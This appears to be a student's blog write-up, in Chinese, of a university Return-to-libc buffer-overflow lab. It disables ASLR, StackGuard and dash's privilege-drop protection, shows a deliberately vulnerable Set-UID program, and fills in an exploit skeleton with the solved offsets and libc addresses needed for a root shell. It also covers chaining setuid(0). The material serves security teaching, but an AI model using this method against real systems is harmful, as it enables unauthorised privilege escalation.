【信息安全-科软课程】Lab6 Return-to-libc Attack

目录

1.0 前言

2.0实验任务

2.1关闭对策

2.2易受攻击程序

2.3 task1 找出libc函数的地址

2.4 task2 将shell字符串放入内存

2.5 task3 利用缓冲区溢出漏洞

2.6 task4 打开地址随机化

2.7 task5 击败shell的对策


1.0 前言

本实验的学习目标是让学生获得一种有趣的缓冲区溢出攻击变体的第一手经验;这种攻击可以绕过目前在主要Linux操作系统中实施的现有保护方案。利用缓冲区溢出漏洞的一种常见方法是用恶意外壳代码溢出缓冲区,然后导致易受攻击的程序跳转到堆栈中存储的外壳代码。为了防止这些类型的攻击,一些操作系统允许程序使它们的栈不可执行;因此,跳转到shellcode会导致程序失败。

不幸的是,上述保护方案并非无懈可击。缓冲区溢出攻击有一个变种叫做Return-to-libc,它不需要可执行的堆栈;它甚至不使用shellcode。相反,它会导致易受攻击的程序跳转到一些现有的代码,例如libc库中的system()函数,该函数已经加载到进程的内存空间中。

在本实验中,给学生一个带有缓冲区溢出漏洞的程序;他们的任务是开发一个Return-to-libc攻击来利用该漏洞,并最终获得根权限。除了攻击之外,学生还将被引导浏览Ubuntu中实现的一些保护方案,以对抗缓冲区溢出攻击。本实验涵盖以下主题:

  • 缓冲区溢出漏洞
  • 函数调用和不可执行堆栈中的堆栈布局
  • 返回到libc攻击和面向返回的编程

2.0实验任务

2.1关闭对策

您可以使用我们预先构建的Ubuntu虚拟机来执行实验任务。Ubuntu和其他Linux发行版已经实现了几种安全机制,使缓冲区溢出攻击变得困难。为了简化我们的攻击,我们需要先禁用它们。地址空间随机化。Ubuntu和其他几个基于Linux的系统使用地址空间随机化来随机化堆和堆栈的起始地址,这使得猜测确切的地址变得困难。猜测地址是缓冲区溢出攻击的关键步骤之一。在本实验中,我们使用以下命令禁用此功能:

$ sudo sysctl -w kernel.randomize_va_space=0

堆栈保护方案。GCC编译器实现了一种称为StackGuard的安全机制,以防止缓冲区溢出。在这种保护下,缓冲区溢出攻击不起作用。我们可以在编译期间使用-fno-stack-protector选项禁用这种保护。例如,要编译一个禁用StackGuard的程序example.c,我们可以执行以下操作:

$ gcc -fno-stack-protector example.c 

不可执行堆栈。Ubuntu过去允许可执行堆栈,但现在已经改变了。程序(和共享库)的二进制映像必须声明它们是否需要可执行堆栈,即他们需要在程序头中标记一个字段。内核或动态链接器使用这个标记来决定是使这个运行程序的堆栈可执行还是不可执行。这个标记是由gcc的最新版本自动完成的,默认情况下,堆栈被设置为不可执行的。要更改这一点,请在编译程序时使用以下选项: 

对于可执行栈:
$ gcc -z execstack -o test test.c
对于不可执行栈:
$ gcc -z noexecstack -o test test.c

因为本实验的目的是为了证明不可执行的堆栈保护不起作用,所以在本实验中,您应该始终使用“-z noexecstack”选项编译您的程序。

配置/bin/sh(仅限Ubuntu 16.04 VM)。在Ubuntu 12.04和Ubuntu 16.04虚拟机中,/bin/sh符号链接指向/bin/dash外壳。然而,这两个虚拟机中的dash程序有一个重要的区别。Ubuntu 16.04中的dash shell有一个防止自己在Set-UID进程中执行的对策。如果dash在Set-UID进程中执行,它会立即将有效用户标识更改为该进程的真实用户标识,本质上是放弃其权限。Ubuntu 12.04中的dash程序没有这个行为。

因为我们的受害者程序是一个Set-UID程序,我们的攻击者使用system()函数运行我们选择的命令。这个函数不直接运行我们的命令;它调用/bin/sh来运行我们的命令。因此,在执行我们的命令之前,/bin/dash中的对策会立即放弃Set-UID特权,使我们的攻击更加困难。要禁用这种保护,我们将/bin/sh链接到另一个没有这种对策的外壳。我们已经在Ubuntu 16.04虚拟机中安装了一个名为zsh的外壳程序。我们使用以下命令将/bin/sh链接到zsh(Ubuntu 12.04中不需要这样做):

 $ sudo ln -sf /bin/zsh /bin/sh

2.2易受攻击程序

Listing 1:易受攻击程序retlib.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won’t be able to use the solutions from the past.
* Suggested value: between 0 and 200 (cannot exceed 300, or
* the program won’t have a buffer-overflow problem). */
#ifndef BUF_SIZE
#define BUF_SIZE 12
#endif
int bof(FILE *badfile)
{
char buffer[BUF_SIZE];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 300, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
/* Change the size of the dummy array to randomize the parameters
for this lab. Need to use the array at least once */
char dummy[BUF_SIZE*5]; memset(dummy, 0, BUF_SIZE*5);
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}

上述程序存在缓冲区溢出漏洞。它首先从一个将名为badfile的文件放入缓冲区,缓冲区的大小小于300。由于函数fread()不检查缓冲区边界,因此会发生缓冲区溢出。这个程序是一个根用户拥有的Set-UID程序,所以如果一个普通用户可以利用这个缓冲区溢出漏洞,用户可能能够得到一个根外壳。需要注意的是,程序的输入来自一个名为badfile的文件,它是由用户提供的。因此,我们可以这样构建文件:当易受攻击的程序将文件内容复制到其缓冲区时,可以产生一个根外壳。

编译。让我们首先编译代码,并把它变成一个根拥有的Set-UID程序。不要忘记包括-fno-stack-protector选项(用于关闭StackGuard保护)和“-z noexecstack”选项(用于打开不可执行的堆栈保护)。还应该注意的是,更改所有权必须在打开设置UID位之前完成,因为所有权更改会导致设置UID位被关闭。

 // Note: N should be replaced by the value set by the instructor
$ gcc -DBUF_SIZE=N -fno-stack-protector -z noexecstack -o retlib retlib.c
$ sudo chown root retlib
$ sudo chmod 4755 retlib

实验步骤: 

关闭地址随机化:

创建retlib.c文件:

禁用不可执行堆栈保护:

提升权限:

2.3 task1 找出libc函数的地址

在Linux中,当一个程序运行时,libc库会被加载到内存中。当内存地址随机化关闭时,对于相同的程序,库总是加载在相同的内存地址中(对于不同的程序,libc库的内存地址可能不同)。因此,我们可以使用gdb等调试工具轻松找到system()的地址。也就是说,我们可以调试目标程序retlib。即使程序是一个根拥有的Set-UID程序,我们仍然可以调试它,除了特权将被删除(即,。有效用户标识将与真实用户标识相同)。在gdb内部,我们需要键入run命令来执行一次目标程序,否则,库代码将不会被加载。我们使用p命令(或print)打印出系统的地址()和exit()函数(稍后我们将需要exit()。

$ touch badfile
$ gdb -q retlib ➙Use "Quiet" mode Reading symbols from stack...(no debugging symbols found)...done.
gdb-peda$ run
......
gdb-peda$ p system
$1 = {} 0xb7e42da0
gdb-peda$ p exit
$2 = {} 0xb7e369d0
gdb-peda$ quit

需要注意的是,即使是同一个程序,如果我们把它从Set-UID程序改成非Set-UID程序,libc库也不一定会加载到同一个位置。所以我们在调试程序的时候,需要调试目标Set-UID程序;否则,我们得到的地址可能不正确。

实验步骤: 

2.4 task2 将shell字符串放入内存

我们的攻击策略是跳转到system()函数,让它执行任意命令。因为我们希望得到一个shell提示,所以我们希望system()函数执行“/bin/sh”程序。因此,命令字符串“/bin/sh”必须首先放入内存,我们必须知道它的地址(这个地址需要传递给system()函数)。实现这些目标的方法有很多;我们选择使用环境变量的方法。鼓励学生使用其他方法。

当我们从shell提示符执行一个程序时,shell实际上生成了一个执行程序的子进程,所有导出的shell变量都变成了子进程的环境变量。这为我们在子进程的内存中放入任意字符串创造了一个简单的方法。让我们定义一个新的外壳变量MYSHELL,并让它包含字符串"/bin/sh "。从下面的命令中,我们可以验证该字符串是否进入了子进程,并且它是由子进程内部运行的env命令打印出来的。

$ export MYSHELL=/bin/sh

$ env | grep MYSHELL

MYSHELL=/bin/sh

我们将使用这个变量的地址作为系统()调用的参数。这个变量在内存中的位置可以通过下面的程序很容易地找到:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main(){
char* shell = getenv("MYSHELL");
if (shell)
printf("%x\n", (unsigned int)shell);
}

如果关闭地址随机化,您会发现打印出了相同的地址。但是,当您运行易受攻击的程序retlib时,环境变量的地址可能与您通过运行上述程序获得的地址不完全相同;当您更改程序的名称时,这样的地址甚至会改变(文件名中的字符数会有所不同)。好消息是,shell的地址将非常接近您使用上述程序打印出来的地址。因此,你可能需要尝试几次才能成功。

实验步骤:

导出环境变量:

错误)创建myshell.c

注意(这个坑很重要!搞了两天!):此处因为创建了myshell.c文件、后续的攻击一直无法成功,最后发现是因为myshell这个名字7位、retlib这个名字是6位,必须创建一个跟retlib程序一样长度的名字,我换成了envadd.c:

关闭地址随机化,并编译envadd.c程序:

改变程序名、地址变化:

2.5 task3 利用缓冲区溢出漏洞

我们准备创建badfile的内容。因为内容涉及一些二进制数据(例如,。libc函数的地址),我们可以用C或者Python来做构造。

使用Python。我们在下面提供了代码的框架,剩下的重要部分留给您填写。

/* exploit.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
/* You need to decide the addresses and
the values for X, Y, Z. The order of the following
three statements does not imply the order of X, Y, Z.
Actually, we intentionally scrambled the order. */
*(long *) &buf[X] = some address ; // "/bin/sh" ✰
*(long *) &buf[Y] = some address ; // system() ✰
*(long *) &buf[Z] = some address ; // exit() ✰
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}

 您需要计算出三个地址以及X、Y和z的值。如果你的值不正确,你的攻击可能不会奏效。在您的报告中,您需要描述如何确定X、Y和z的值。要么向我们展示你的推理,要么,如果你使用试错法,展示你的试验。

实验步骤:

从上面实验可以看出bof函数中ebp距离buffer的距离为20个字节,因此可以得出:
3位置的偏移是20+4 =24字节,此位置保存在system()函数的地址。Y=24
2位置的偏移是20+8 = 28字节,此位置保存exit()函数的地址。Z=28
1位置的偏移是20+12 = 32字节,此位置保存的是字符串/bin/sh的地址。X=32

/bin/sh :0xbffffe1c

system:0xb7e42da0

exit:0xb7e369d0

创建文件exploit.c:

如果出现错误:

可能原因:/bin/sh 地址错误

2.6 task4 打开地址随机化

在这个任务中,让我们打开Ubuntu的地址随机化保护,看看这种保护对Return-to-libc攻击是否有效。首先,让我们打开地址随机化:

sudo sysctl -w kernel.randomize_va_space=2 

请运行前一任务中使用的相同攻击。能成功吗?请描述你的观察,并提出你的假设。在用于构建坏文件的漏洞利用程序中,我们需要提供三个地址以及X、Y和Z的值。如果地址随机化打开,这六个值中哪一个是不正确的。请在你的报告中提供证据。

如果您计划使用gdb来进行您的调查,您应该知道gdb默认情况下禁用调试进程的地址空间随机化,不管在底层操作系统中是否打开地址随机化。在gdb调试器中,您可以运行" show disable-随机化"来查看随机化是否关闭。您可以使用“设置禁用随机化”和“设置禁用随机化”来更改设置。

结果:攻击失败

分析:

打开地址随机化后,查看/bin/sh地址,发现已改变:

 查看gdb retlib,发现system、exit地址都改变了:

2.7 task5 击败shell的对策

此任务的目的是在外壳的对策启用后发起返回到libc攻击。在执行任务1到4中的攻击之前,我们将/bin/sh重新链接到/bin/zsh,而不是to /bin/dash(原始设置)。这是因为一些shell程序,如dash和bash,在Set-UID进程中执行时有一个自动放弃特权的对策。在这个任务中,我们希望击败这样的对策,即使/bin/sh仍然指向/bin/dash,我们也希望得到一个根shell。让我们先把符号链接改回来:

$ sudo ln -sf /bin/dash /bin/sh

当/bin/sh指向/bin/dash时,我们不能直接返回system()函数,因为system()实际上是用/bin/sh来执行命令的,/bin/dash会掉特权。解决这个问题的方法有很多。一种方法是返回一个不依赖/bin/sh的不同函数。另一种方法是在调用system()之前调用setuid(0)。setuid(0)调用将真实用户标识和有效用户标识都设置为0,将进程转换为非Set-UID进程(它仍然拥有根权限)。事实证明,使用返回到libc技术很有挑战性。

有两个主要挑战:(1)如何将多个函数(带参数)链接在一起,以及(2)如何在恶意输入中不包含任何零的情况下传递零作为参数?在这项任务中,我们专注于解决第一个挑战;我们可以忽略第二个挑战,在输入中放零。在易受攻击的程序中,我们有意使用了fread(),它与strcpy()不同,不受零的影响。

实验步骤:

调用setuid(0)之前:本来攻击成功后出现#,然后改变、/bin/sh指向位/bin/dash、攻击成功出现 $。

调用setuid:

查看setuid地址:

修改exploit.c:

猜你喜欢

转载自blog.csdn.net/weixin_41950078/article/details/116377385